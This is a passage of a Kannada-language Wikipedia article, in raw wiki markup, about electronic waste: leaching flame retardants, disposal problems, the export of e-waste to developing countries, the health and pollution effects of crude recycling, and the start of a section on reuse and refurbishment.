ವಿದ್ಯುನ್ಮಾನ ಸಲಕರಣೆಗಳಲ್ಲಿ ಬಳಸುವ ಬಹುತೇಕ ಪ್ಲಾಸ್ಟಿಕ್‌ಗಳು [[ಅಗ್ನಿಶಾಮಕ]]ಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಇವು ಸಾಮಾನ್ಯವಾಗಿ ಪ್ಲಾಸ್ಟಿಕ್‌ ರಾಳಗಳಿಗೆ ಸೇರಿಸಿದ [[ಮೂಲಧಾತು]]ಗಳು, ಇದರಿಂದ ಪ್ಲಾಸ್ಟಿಕ್‌ಅನ್ನು ಮರುಬಳಕೆ ಮಾಡುವುದು ಕಷ್ಟವಾಗುತ್ತದೆ. ಅಗ್ನಿಶಾಮಕಗಳು ಸೇರ್ಪಡೆಗಳಾಗಿರುವುದರಿಂದ, ಬಿಸಿ ವಾತಾವರಣದಲ್ಲಿ ಸುಲಭವಾಗಿ ಆ ವಸ್ತುವಿನಿಂದ ಸೊರಿಹೋಗುತ್ತದೆ, ಇದು ಒಂದು ತೊಂದರೆ ಏಕೆಂದರೆ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು ಬಿಸಾಡಿದಾಗ ಸಾಮಾನ್ಯವಾಗಿ ಹೊರಗೆ ಬಿಟ್ಟುಬಿಡಲಾಗುತ್ತದೆ. ಇದರಿಂದ ಅಗ್ನಿಶಾಮಕಗಳು ಮಣ್ಣಿನ ಒಳಗೆ ಸೋರಿಹೋಗುತ್ತದೆ, ಮಣ್ಣಿಗಿಂತ ೯೩ಪಟ್ಟಿ ಜಾಸ್ತಿಯಾದ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದೊಂದಿಗೆ ಸಂಪರ್ಕವೇ ಇಲ್ಲದ ಮಾಪನವು ದಾಖಲಾಗಿದೆ.೦/} ಬಿಸಾಡಿದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ [[ನಿರ್ವಹಣೆ]] ಸಾಧ್ಯವಾಗದಿರುವುದು ಮತ್ತು ಕಂಪ್ಯೂಟರ್‌ ತಂತ್ರಜ್ಞಾನಗಳು, ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದ [[ಮರುಬಳಕೆ]] ಅಥವಾ [[ಎರಡನೇ ಬಳಕೆಯ]] ಅಗತ್ಯತೆಯನ್ನು ಎತ್ತಿಹಿಡಿಯಲು ಮತ್ತೊಂದು ಕಾರಣ. ವಸ್ತುಗಳನ್ನು ಎರಡನೇ ಬಳಕೆ ಮಾಡದಿದ್ದಾಗ ಅಥವಾ ಮಾಡಲಾಗದಿದ್ದಾಗ, ಸಾಂಪ್ರದಾಯಿಕ ಮರುಬಳಕೆ ಮಾಡಲಾಗುತ್ತದೆ ಅಥವಾ ಕಸದರಾಶಿಯಲ್ಲಿ ಬಿಸಾಡಲಾಗುತ್ತದೆ. [[ಮುಂದುವರೆದ]] ರಾಷ್ಟ್ರದಲ್ಲೇ ಆಗಲಿ ಅಥವಾ [[ಅಭಿವೃದ್ಧಿಶೀಲ]] ರಾಷ್ಟದಲ್ಲೇ ಆಗಲಿ ಎರಡೂ ಮಾರ್ಗಗಳ ಮಟ್ಟಗಳಲ್ಲಿ ಕಾನೂನಿಗೆ ತಕ್ಕ ಹಾಗೆ ಬಹಳ ವ್ಯತ್ಯಾಸ ಇರುತ್ತದೆ. ಬಿಸಾಡಬೇಕಾದ ಅನೇಕ ವಸ್ತುಗಳ ಕ್ಲಿಷ್ಟತೆ, ಪರಿಸರಸಂರಕ್ಷಣೆ ದೃಷ್ಟಿಯಿಂದ ಅಂಗೀಕರಿಸಿದ ಮರುಬಳಕೆ ವ್ಯವಸ್ಥೆಗಳ ಬೆಲೆ, ಮತ್ತು ಉಪಕರಣಗಳನ್ನು ಸಂಗ್ರಹಿಸಲು ಮತ್ತು ವ್ಯವಸ್ಥಿತವಾಗಿ ಸಂಸ್ಕರಿಸಲು ಬೇಕಾದ ಕಳಕಳಿಯ ಮತ್ತು ಸಂಘಟಿತ ಕ್ರಮಗಳ ಅಗತ್ಯತೆ - ಇವು ಸವಾಲುಗಳು. ಒಂದು ಅಧ್ಯಯನವು ಮೂರರಲ್ಲಿ ಇಬ್ಬರು ನಿರ್ವಾಹಕರಿಗೆ ಪರಿಸರ ಕಾನೂನಿಗೆ ಸಂಬಂಧಿಸಿದ ದಂಡಗಳ ಬಗ್ಗೆ ಏನೂ ತಿಳಿದಿಲ್ಲ ಎಂದು ಸೂಚಿಸುತ್ತದೆ.<ref name="abj">{{cite news|url=http://southflorida.bizjournals.com/austin/stories/2006/06/12/focus3.html|title=Law holds businesses responsible for disposal of computers|date=2006-06-09|accessdate=2009-03-17|work=[[Austin Business Journal]]|author=Kuhlenbeck, Phil}}</ref> == ಬಿಸಿಚರ್ಚೆಗಳು == [[ಚಿತ್ರ:Ewaste-crtkid.jpg|thumb|right|ಪದೆಪದೇ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ಅಭಿವೃದ್ಧಿಶೀಲ ರಾಷ್ಟ್ರಗಳಿಗೆ ರಫ್ತು ಆಗುತ್ತಿದೆ.]] ಹೆಚ್ಚಾದ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ನಿಯಂತ್ರಣ ಮತ್ತು ವಿಷಪೂರಿತ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದಿಂದ ಆಗಬಹುದಾದ ಪರಿಸರ ಹಾನಿಯ ಬಗೆಗಿನ ಕಾಳಜಿಗಳು ಬಿಸಾಡುವ ವೆಚ್ಚವನ್ನು ಜಾಸ್ತಿ ಮಾಡಿದೆ. ರಫ್ತು ಮಾಡುವ ಮೊದಲೇ ಅವಶೇಷಗಳನ್ನು ತೆಗೆದುಬಿಡುವಂತೆ ಪ್ರಚೋದಿಸುವ ಆರ್ಥಿಕ ನಿಬಂಧನೆಯನ್ನು ಕಾನೂನು ಸೃಷ್ಟಿಸುತ್ತದೆ. ಅತಿರೇಕದ ಸಂದರ್ಭಗಳಲ್ಲಿ, ಮರುಬಳಕೆ ಮಾಡುವವರು ಎಂದು ಹೇಳಿಕೊಳ್ಳುವ ದಳ್ಳಾಳಿಗಳು ಮತ್ತು ಇತರರು ಪರಿಷ್ಕರಿಸದ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು ಅಭಿವೃದ್ಧಿಶೀಲ ದೇಶಗಳಿಗೆ ರಫ್ತು ಮಾಡುತ್ತಾರೆ, ಕೆಟ್ಟ ಕ್ಯಾತೋಡ್‌ ಕಿರಣ ನಳಿಕೆಗಳು ಮುಂತಾದ ವಸ್ತುಗಳನ್ನು ತೆಗೆಯುವ ಖರ್ಚನ್ನು ಉಳಿಸುತ್ತಾರೆ (ತೆಗೆಯುವ ಪ್ರಕ್ರಿಯೆ ಬಹಳ ದುಬಾರಿ ಮತ್ತು ಕಷ್ಟಕರ). ಬಳಸಿದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ವ್ಯಾಪಾರವನ್ನು ಸಮರ್ಥಿಸುವವರು ವರ್ಜಿನ್‌ ಗಣಿಗಾರಿಕೆಯಿಂದ ಲೋಹವನ್ನು ಬೇರ್ಪಡಿಸುವ ಕೆಲಸವನ್ನೂ ಅಭಿವೃದ್ಧಿಶೀಲ ರಾಷ್ಟ್ರಗಳಿಗೆ ವರ್ಗಾಯಿಸಲಾಗಿದೆ ಎನ್ನುತ್ತಾರೆ. ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳಿಂದ ಬೇರ್ಪಡಿಸಿದ ತಾಮ್ರ, ಬೆಳ್ಳಿ, ಚಿನ್ನ ಮತ್ತು ಇತರ ಪದಾರ್ಥಗಳನ್ನು ಗಟ್ಟಿ ಬಂಡೆಗಳಲ್ಲಿ ಗಣಿಗಾರಿಕೆ ಮಾಡುವುದು ಆ ಪದಾರ್ಥಗಳನ್ನು ಮರುಬಳಕೆ ಮಾಡುವುದಕ್ಕಿಂತ ಹೆಚ್ಚು ಪರಿಸರ ಹಾನಿಯುಂಟು ಮಾಡುತ್ತದೆ ಎನ್ನಲಾಗಿದೆ. ಶ್ರೀಮಂತ ರಾಷ್ಟ್ರಗಳಲ್ಲಿ ಟಿವಿಗಳನ್ನು ಮತ್ತು ಕಂಪ್ಯೂಟರ್‌ಗಳನ್ನು ರಿಪೇರಿ ಮಾಡುವುದು ಮತ್ತು ಎರಡನೇ ಬಾರಿಗೆ ಉಪಯೋಗಿಸುವುದು ಒಂದು "ಕಳೆದು ಹೋದ" ಕಲೆಯೇ ಆಗಿದೆ ಎಂದೂ ಅವರು ಹೇಳುತ್ತಾರೆ, ಮತ್ತು ಆ ಮೆರುಗು ನೀಡುವ ಕೆಲಸವೇ ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಅಭಿವೃದ್ಧಿಗೆ ದಾರಿಯಾಗಿತ್ತು. ದಕ್ಷಿಣ ಕೊರಿಯಾ, ತೈವಾನ್‌, ಮತ್ತು ಪೂರ್ವ ಚೈನಾ ರಾಷ್ಟ್ರಗಳು ಬಳಸಿದ ಸರಕಿನಲ್ಲಿ "ಉಳಿಸಿಕೊಂಡ ಮೌಲ್ಯ"ವನ್ನು ಕಂಡುಹಿಡಿಯುವುದರಲ್ಲಿ ಪರಿಣತರಾಗಿದ್ದರು, ಮತ್ತು ಕೆಲವು ಸಂದರ್ಭಗಳಲ್ಲಿ ಬಳಸಿದ ಇಂಕ್‌-ಕಾರ್ಟ್ರಿಜ್‌, ಒಂದು-ಬಳಕೆ ಕ್ಯಾಮರಾಗಳು, ಮತ್ತು ಕೆಲಸ ಮಾಡುತ್ತಿರುವ ಸಿಆರ್‌ಟಿಗಳನ್ನು ಮೆರಗು ನೀಡುವುದರಲ್ಲಿಯೇ ಬಿಲಿಯನ್‌-ಡಾಲರ್‌ ಕಂಪನಿಗಳನ್ನು ಹುಟ್ಟುಹಾಕಿಬಿಟ್ಟಿದ್ದಾರೆ. ಸಾಂಪ್ರಾದಾಯಿಕವಾಗಿ, ಮೆರುಗು ನೀಡುವುದು ಸ್ಥಾಪಿತ ಉತ್ಪಾದನೆಗಳಿಗೆ ಒಂದು ಅಪಾಯ, ಮತ್ತು ವ್ಯಾಪಾರದ ಕೆಲವು ಟೀಕೆಗಳನ್ನು ಸರಳವಾದ ರಕ್ಷಣಾತಂತ್ರಗಳೇ ವಿವರಿಸುತ್ತವೆ. [[ವ್ಯಾನ್ಸ್‌ ಪ್ಯಾಕರ್ಡ್‌]]ರವರ "ದ ವೇಸ್ಟ್‌ ಮೇಕರ್ಸ್‌"ನಂತಹ ಕೃತಿಗಳು ಕೆಲಸ ಮಾಡುತ್ತಿರುವ ವಸ್ತುಗಳ ರಫ್ತಿನ ಬಗೆಗಿನ ಕೆಲವು ಟೀಕೆಗಳನ್ನು ವಿವರಿಸುತ್ತವೆ, ಉದಾಹರಣೆಗೆ ಪರೀಕ್ಷಿಸಿದ ಕೆಲಸ ಮಾಡುತ್ತಿರುವ [[ಪೆಂಟಿಯಮ್‌ 4]] ಲ್ಯಾಪ್‌ಟಾಪ್‌ಗಳ ಆಮದನ್ನು ಚೈನಾ ನಿಷೇದಿಸಿರುವುದು, ಅಥವಾ ಹೆಚ್ಚುವರಿ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ರಫ್ತನ್ನು ಜಪಾನ್‌ ನಿಷೇಧಿಸಿರುವುದು. ಹೆಚ್ಚುವರಿ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳ ರಫ್ತನ್ನು ವಿರೋಧಿಸುವವರು, ಪರಿಸರ ಮತ್ತು ಕಾರ್ಯದ ಕೀಳುಮಟ್ಟ, cheap ಕೆಲಸಗಾರರು, ಮತ್ತು ತುಲನಾತ್ಮಕವಾಗಿ ಪಡೆದುಕೊಂಡ ವಸ್ತುಗಳ ಅಧಿಕ ಮೌಲ್ಯಗಳು ತಾಮ್ರದ ತಂತಿಯನ್ನು ಸುಡುವುದು ಮುಂತಾದ ಮಾಲಿನ್ಯ-ಜನಕ ಚಟುವಟಿಕೆಗಳನ್ನು ವರ್ಗಾಯಿಸುವುದಕ್ಕೆ ಕಾರಣವಾಗುತ್ತದೆ ಎಂದು ವಾದಿಸುತ್ತಾರೆ. ಚೈನಾ, ಮಲೇಷಿಯಾ, ಭಾರತ, ಕೀನ್ಯಾ, ಮತ್ತು ವಿವಿಧ ಆಫ್ರಿಕಾ ದೇಶಗಳಿಗೆ, ಕೆಲವು ವೇಳೆ ಕಳ್ಳತನದಿಂದ, ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು ಸಂಸ್ಕರಣೆಗಾಗಿ ಕಳುಹಿಸಲಾಗುತ್ತದೆ. ಅನೇಕ ಹೆಚ್ಚುವರಿ ಲ್ಯಾಪ್‌ಟಾಪ್‌ಗಳನ್ನು, "ಇ-ತ್ಯಾಜ್ಯವನ್ನು ಬಿಸಾಡುವ ಸ್ಥಳ" ಎಂಬಂತೆ [[ಅಭಿವೃದ್ಧಿಶೀಲ ರಾಷ್ಟ್ರಗಳಿ]]ಗೆ ಕಳುಹಿಸಲಾಗುತ್ತದೆ.<ref name="tmc"/> ಯುನೈಟೇಡ್‌ ಸ್ಟೇಟ್ಸ್‌ ತನ್ನ [[ಬಾಸೆಲ್‌ ಕನ್‌ವೆನ್‌ಷನ್‌]] ಅಥವಾ ತನ್ನ [[ನಿಷೇಧ ತಿದ್ದುಪಡಿ]]ಯನ್ನು ಸ್ಥಿರೀಕರಣ ಮಾಡದ ಕಾರಣ, ಮತ್ತು ವಿಷಪೂರಿತ ತ್ಯಾಜ್ಯದ ರಫ್ತನ್ನು ನಿಷೇಧಿಸುವ ಯಾವ ಗೃಹ ಕಾನೂನು ಇಲ್ಲದಿರುವ ಕಾರಣ, ಯುಎಸ್‌ನಲ್ಲಿ ಮರುಬಳಕೆಗಾಗಿ ನಿಗದಿ ಮಾಡಿದ ೮೦% ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ಅಲ್ಲಿ ಮರುಬಳಕೆ ಆಗುವುದೇ ಇಲ್ಲ, ಆದರೆ [[ಕಂಟೇನರ್‌ ಹಡಗು]]ಗಳಲ್ಲಿ ಹಾಕಿ ಚೀನಾದಂತಹ ರಾಷ್ಟ್ರಗಳಿಗೆ ಕಳುಹಿಸಲಾಗುತ್ತದೆ ಎಂದು [[ಬಾಸೆಲ್‌ ಆಕ್ಷನ್‌ ನೆಟ್‌ವರ್ಕ್]] ಅಂದಾಜು ಮಾಡಿದೆ.<ref name="harm"/><ref>{{cite news|url=https://biz.yahoo.com/ap/071118/exporting_e_waste.html?.v=3|title=America Ships Electronic Waste Overseas|author=Chea, Terence|publisher=[[Associated Press]]|date=2007-11-18}}</ref><ref>{{cite web|url=http://www.hup.harvard.edu/catalog/SLAMAD.html|title=Made To Break: Technology and Obsolescence in America|author=Slade, Giles|publisher=Harvard University Press|year=2006}}</ref><ref name="ng"/> ಇಪಿಎ‌, ದ ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್‌ ಫಾರ್‌ ಸ್ಕ್ರ್ಯಾಪ್‌ ರಿಸೈಕ್ಲಿಂಗ್‌ ಇಂಡಸ್ಟ್ರೀಸ್‌ ಮತ್ತು [[ವರ್ಲ್ಡ್‌ ರೀಯೂಸ್‌, ರೆಪೇರ್‌ ಮತ್ತು ರಿಸೈಕ್ಲಿಂಗ್‌ ಅಸೋಸಿಯೇಷನ್‌]]ಗಳು ಈ ಸಂಖ್ಯೆ ಉತ್ಪ್ರೇಕ್ಷೆ ಎಂದು ವಾದಿಸುತ್ತದೆ.{{Citation needed|date=April 2010}}. [[ಚೀನಾ]]ದ [[ಶಾನ್‌ಟೌ]] ಪ್ರದೇಶದ [[ಗಿಯು]], [[ಭಾರತ]]ದ [[ದೆಹಲಿ]] ಮತ್ತು [[ಬೆಂಗಳೂರು]] ಹಾಗೆಯೇ [[ಆಕ್ರಾ]], [[ಘಾನಾ]] ಸಮೀಪದ ಆಗ್‌ಬೊಗ್‌ಬ್ಲೋಷಿ ಸ್ಥಳಗಳು ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ಸಂಸ್ಕರಣಾ ಪ್ರದೇಶಗಳನ್ನು ಹೊಂದಿವೆ.<ref name="harm"/><ref>{{cite news|url=http://www.npr.org/programs/watc/features/2002/apr/computers/index.html|title=Activists Push for Safer E-Recycling|accessdate=2006-11-13|archiveurl=https://web.archive.org/web/20021001213255/http://www.npr.org/programs/watc/features/2002/apr/computers/index.html|archivedate=2002-10-01}}</ref><ref>{{cite news|url=http://www.denverpost.com/perspective/ci_3633138|title=Computer age leftovers|publisher=[[Denver Post]]|accessdate=2006-11-13}}</ref> ಅನಿಯಂತ್ರಿತ ಸುಡುವಿಕೆ, ನಿಸಂಯೋಜನೆ, ಮತ್ತು ಬಿಸಾಡುವಿಕೆ ಅನೇಕ ಪರಿಸರ ತೊಂದರೆಗಳನ್ನು ಉಂಟುಮಾಡಬಹುದು ಉದಾಹರಣೆಗೆ ಅಂತರ್ಜಲ ಕಲುಷಿತಗೊಳ್ಳುವುದು, ವಾತಾವರಣ ಕಲುಷಿತಗೊಳ್ಳುವುದು, ಅಥವಾ ಬಿಸಾಡುವುದರಿಂದ ಅಥವಾ [[ಮೇಲ್ಮೈ ಹರಿಯುವಿಕೆಯ]] ಕಾರಣದಿಂದ [[ಜಲಮಾಲಿನ್ಯ]] ಕೂಡ (ವಿಶೇಷವಾಗಿ ಕರಾವಳಿ ಪ್ರದೇಶಗಳಲ್ಲಿ), ಹಾಗೆಯೇ ತ್ಯಾಜ್ಯವನ್ನು ಸಂಸ್ಕರಿಸುವ ವಿಧಾನಗಳ ಕಾರಣ, ಅದರಲ್ಲಿ ಭಾಗಿಯಾಗಿದ್ದವರ [[ಔದ್ಯೋಗಿಕ ಸುರಕ್ಷತೆ ಮತ್ತು ಆರೋಗ್ಯ]]ದ ಮೇಲೆ ಪರಿಣಾಮ. ಕಂಪ್ಯೂಟರ್ ಮತ್ತು ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದಿಂದ ಲೋಹಗಳನ್ನು, ಟೋನರ್‌ಗಳನ್ನು ಮತ್ತು ಪ್ಲಾಸ್ಟಿಕ್‌ಗಳನ್ನು ಸಂಗ್ರಹಿಸುವ ಕೆಲಸಕ್ಕಾಗಿ, ವಿಪರೀತ ಮಲಿನತೆ ಸೃಷ್ಟಿಸುವ, ಪ್ರಾರಂಭಿಕ ಮರುಬಳಕೆ ತಂತ್ರಜ್ಞಾನಗಳಲ್ಲಿ ಸಾವಿರಾರು ಮಂದಿ ಗಂಡಸರು, ಹೆಂಗಸರು ಮತ್ತು ಮಕ್ಕಳನ್ನು ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ. ವ್ಯಾಪಾರದ ಸಮರ್ಥಕರು ಬಡತನಕ್ಕಿಂತ ಅಂತರ್ಜಾಲದ ಸಂಪರ್ಕವೇ ವ್ಯಾಪಾರದ ಪರಸ್ಪರ ಸಂಬಂಧ ಎನ್ನುತ್ತಾರೆ. ಆಗ್ನೇಯ ಏಷಿಯಾಕ್ಕಿಂತ [[ಹೈಟಿ]] ಬಡರಾಷ್ಟ್ರ ಮತ್ತು [[ನ್ಯೂ ಯಾರ್ಕ್‌ ಪೋರ್ಟ್‌]]ಗೆ ಬಹಳ ಹತ್ತಿರವಾದದ್ದು, ಆದರೆ ಹೈಟಿಗೆ ರಫ್ತು ಮಾಡುವುದಕ್ಕಿಂತ ಅದೆಷ್ಟೋ ಪಟ್ಟು ಹೆಚ್ಚು ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು ನ್ಯೂಯಾರ್ಕ್‌ನಿಂದ ಏಷಿಯಾಕ್ಕೆ ರಫ್ತು ಮಾಡಲಾಗುತ್ತದೆ. ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ ರಾಷ್ಟ್ರಗಳಲ್ಲಿನ ಎರಡನೇ ಬಳಕೆ, ಮೆರುಗು ನೀಡುವುದು, ರಿಪೇರಿ, ಮತ್ತು ಮರುಉತ್ಪಾದನೆ, ಮುಚ್ಚಿಹೋಗುತ್ತಿರುವ ಉಳಿಸಿಕೊಳ್ಳಬಲ್ಲ ಉದ್ಯಮಗಳಿಗೆ ಸಾವಿರಾರು ಗಂಡಸರು, ಹೆಂಗಸರು ಮತ್ತು ಮಕ್ಕಳನ್ನು ಕೆಲಸಕ್ಕೆ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ. ಅಭಿವೃದ್ಧಿಶೀಲ ರಾಷ್ಟ್ರಗಳಿಗೆ ಬಳಸಿದ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳನ್ನು ನಿಲ್ಲಿಸುವುದರಿಂದ ಅವರಿಗೆ ಸುಲಭ ಬೆಲೆಯ ಉತ್ಪನ್ನಗಳು ಮತ್ತು ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕವನ್ನು ನಿಲ್ಲಿಸಿದಂತಾಗುತ್ತದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತದೆ. ವಿರೋಧಿಗಳು ಅಭಿವೃದ್ಧಿಶೀಲರಾಷ್ಟ್ರಗಳು ಅಪಾಯಕಾರಿ ಮತ್ತು ಹೆಚ್ಚು ಅಪವ್ಯಯಕಾರಿ ವಿಧಾನಗಳನ್ನು ಬಳಸುತ್ತಾರೆ ಎಂದು ವಾದಿಸುತ್ತಾರೆ. ಒಂದು ಯುಕ್ತಿಯುಕ್ತ ಮತ್ತು ಸಾಮಾನ್ಯ ವಿಧಾನವೆಂದರೆ ಸುಮ್ಮನೆ ಉಪಕರಣವನ್ನು ಉರಿಯುವ ಬೆಂಕಿಗೆ ಬಿಸಾಡುವುದು, ಇದರಿಂದ ಪ್ಲಾಸ್ಟಿಕ್‌ ಕರಗುತ್ತದೆ ಮತ್ತು ಅಮೌಲ್ಯ ಲೋಹಗಳು ಉರಿದು ಹೋಗುತ್ತವೆ. ಇದು [[ಕಾರ್ಸಿನೋಜೆನ್‌]]ಗಳು ಮತ್ತು ನ್ಯೂರೋಟಾಕ್ಸಿನ್‌ಗಳನ್ನು ವಾತಾವರಣಕ್ಕೆ ಬಿಡುತ್ತದೆ, ತೀಕ್ಷ್ಣವಾದ, ಹಿಡಿದುಕೊಳ್ಳುವ [[ಹೊಗೆ ಮಿಶ್ರಿತ ಮಂಜಿ]]ಗೆ ಕಾರಣವಾಗುತ್ತದೆ. ಈ ಅಪಾಯಕಾರಿ ಹೊಗೆಯು [[ಡಯಾಕ್ಸಿನ್‌]]ಗಳು ಮತ್ತು [[ಫುರಾನ್‌]]ಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತವೆ.<ref name="smith"/> ಬೊನ್‌ಫಾಯರ್‌ ಉಳಿಕೆಗಳನ್ನು ತಕ್ಷಣವೇ ಚರಂಡಿಗಳಿಲ್ಲಿ ಅಥವಾ ಸಮುದ್ರ ಸೇರುವ ಹರಿಯುವ ನೀರಿನಲ್ಲಿ ಅಥವಾ ಸ್ಥಳೀಯ ನೀರು ಸರಬರಾಜುಗಳಲ್ಲಿ ಬಿಸಾಡಿಬಿಡಬಹುದು.<ref name="ng">{{cite news|title=High-Tech Trash|publisher=[[National Geographic Magazine]] Online|month=January 2008|url=http://ngm.nationalgeographic.com/ngm/2008-01/high-tech-trash/carroll-text.html|author=Carroll}}</ref><ref>{{cite news|url=http://www.cbc.ca/mrl3/23745/thenational/archive/ewaste-102208.wmv|title=Computer waste disposal in China|format=WMV|archiveurl=https://web.archive.org/web/20081217063630/http://www.cbc.ca/mrl3/23745/thenational/archive/ewaste-102208.wmv|archivedate=2008-12-17}}</ref> ಜೂನ್‌ ೨೦೦೮ರಲ್ಲಿ, ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು ಹೊತ್ತ ಹಡಗೊಂದನ್ನು, ಇದು ಯು.ಎಸ್‌ನ [[ಓಕ್‌ಲ್ಯಾಂಡ್‌ನ ಪೋರ್ಟ್‌]]ನಿಂದ [[ಮುಖ್ಯ ಚೀನಾದ]][[ಸಾನ್ಶುಯಿ ಜಿಲ್ಲೆ]]ಯ ವರೆಗೆ ಹೊರಟಿತ್ತು, [[ಹಾಂಗ್‌ಕಾಂಗ್‌]]ನಲ್ಲಿ [[ಗ್ರೀನ್‌ಪೀಸ್‌]] ತಡೆಯಿತು.<ref>{{cite web|url=http://www.greenpeace.org/international/news/illegal-e-waste-exposed140708|title=Illegal e-waste exposed|publisher=[[Greenpeace International]]|access-date=2010-05-06|archive-date=2008-07-11|archive-url=https://web.archive.org/web/20080711061104/http://www.greenpeace.org/international/news/illegal-e-waste-exposed140708|url-status=dead}}</ref> [[ಭಾರತ]],<ref>{{cite news|url=http://www.npr.org/templates/story/story.php?storyId=11211916|title=E-Trash Industry Poses Hazards to Workers}}</ref><ref>{{cite news|url=http://news.bbc.co.uk/1/hi/programmes/click_online/4341494.stm|title=[[British Broadcasting Corporation]] | work=BBC News | date=2005-10-14 | accessdate=2010-01-03}}</ref> [[ಘಾನಾ]],<ref>{{cite web|url=http://uk.youtube.com/watch?v=pr1zQrXM_7s|publisher=[[YouTube]]|title=Electronic Waste in Ghana}}</ref><ref>{{cite web|url=http://www.greenpeace.org/international/news/poisoning-the-poor-electroni|title=Poisoning the poor – Electronic Waste in Ghana|publisher=[[Greenpeace International]]|access-date=2010-05-06|archive-date=2008-08-08|archive-url=https://web.archive.org/web/20080808042955/http://www.greenpeace.org/international/news/poisoning-the-poor-electroni|url-status=dead}}</ref><ref>{{cite news|url=http://news.bbc.co.uk/2/hi/africa/7543489.stm|title=[[British Broadcasting Corporation]] | work=BBC News | date=2008-08-05 | accessdate=2010-01-03}}</ref> [[ಐವರಿ ಕೋಸ್ಟ್‌]],<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/technology/6187358.stm|title=[[British Broadcasting Corporation]] | work=BBC News | date=2006-11-27 | accessdate=2010-01-03}}</ref> ಮತ್ತು [[ನೈಜೀರಿಯಾ]] ದೇಶದ ಪತ್ರಿಕಾ ವರದಿಗಳಲ್ಲಿ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದ ರಫ್ತಿನ ಬಗೆಗೆ ಪ್ರಶ್ನೆಗಳು ಎದ್ದವು.<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/africa/6193625.stm|title=[[British Broadcasting Corporation]] | work=BBC News | date=2006-12-19 | accessdate=2010-01-03}}</ref> == ಮರುಬಳಕೆ == [[ಚಿತ್ರ:Recycling Computers.jpg|thumb|300px|right|ಕಂಪ್ಯೂಟರ್ ಮಾನಿಟರ್‌ಗಳನ್ನು ವಿಶೇಷವಾಗಿ ಮರದ ಹಲಗೆಯಲ್ಲಿ ತುಂಬಿ,ಮತ್ತು ಕುಗ್ಗಿಸಿ-ಮುರಿದು ಮರುಬಳಕೆ ಮಾಡುತ್ತಾರೆ.<ref name=smith/>]] {{See also|Computer recycling}} ಇಂದು ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ವ್ಯಾಪಾರವು [[ಅಬಿವೃದ್ಧಿ ಹೊಂದಿದ ಪ್ರಪಂಚದ]] ಎಲ್ಲ ಕ್ಷೇತ್ರಗಳಲ್ಲಿಯೂ ಇವೆ, ಇದು ಒಂದು ದೊಡ್ಡ ಮತ್ತು ಅತ್ಯಂತ ವೇಗವಾಗಿ ಸಂಘಟಿಸುತ್ತಿರುವ ವ್ಯಾಪಾರ. ಹೆಚ್ಚಾದ ನಿಯಂತ್ರಣ, ಸಾರ್ವಜನಿಕ, ಮತ್ತು ವ್ಯಾವಹರಿಕ ಪರಾಮರ್ಶೆ, ಮತ್ತು ಉದ್ಯಮಶೀಲತೆಯಲ್ಲಿ ಅಷ್ಟೇ ಪ್ರಮಾಣದ ಬೆಳವಣಿಗೆಗಳ ಕಾರಣ ಈಚಿನ ವರ್ಷಗಳಲ್ಲಿ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ಸಂಸ್ಕರಣಾ ವ್ಯವಸ್ಥೆಗಳು ಪಕ್ವವಾಗಿವೆ. ಈ ವಿಕಾಸದ ಭಾಗವಾಗಿ, ಉಪಕರಣವನ್ನು ಕಚ್ಚಾ ಸಾಮಗ್ರಿಯ ರೂಪಕ್ಕೆ ಹಿಂಬಡತಿ ಮಾಡುವ ಎನರ್ಜಿ-ಇಂಟೆನ್ಸಿವ್ ಡೌನ್‌ಸೈಕ್ಲಿಂಗ್ ಪ್ರಕ್ರಿಯೆಗಳಿಂದ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯವನ್ನು ಗಣನೀಯವಾಗಿ ದೂರ ತರುವುದು ಸಾಧ್ಯವಾಯಿತು (ಉದಾಹರಣೆಗೆ, ಸಾಂಪ್ರದಾಯಿಕ ಮರುಬಳಕೆ). ಇದನ್ನು ಎರಡನೆಯ ಬಳಕೆ ಮತ್ತು ಮೆರುಗು ನೀಡುವುದರ ಮೂಲಕ ಸಾಧಿಸಲಾಗುತ್ತದೆ. ಎರಡನೆಯ ಬಳಕೆಯಿಂದಾಗುವ ಪರಿಸರ ಮತ್ತು ಸಾಮಾಜಿಕ ಉಪಯೋಗಗಳೆಂದರೆ (ತಮ್ಮದೇ ಆದ ಪರಿಸರ ಸಮಸ್ಯೆಗಳನ್ನು ಹೊಂದಿರುವ)ಹೊಸ ಉತ್ಪನ್ನಗಳಿಗೆ ಮತ್ತು 